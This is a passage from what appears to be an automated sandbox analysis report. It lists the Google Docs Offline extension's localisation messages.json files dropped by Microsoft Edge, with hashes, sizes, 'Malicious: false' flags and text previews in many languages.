SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
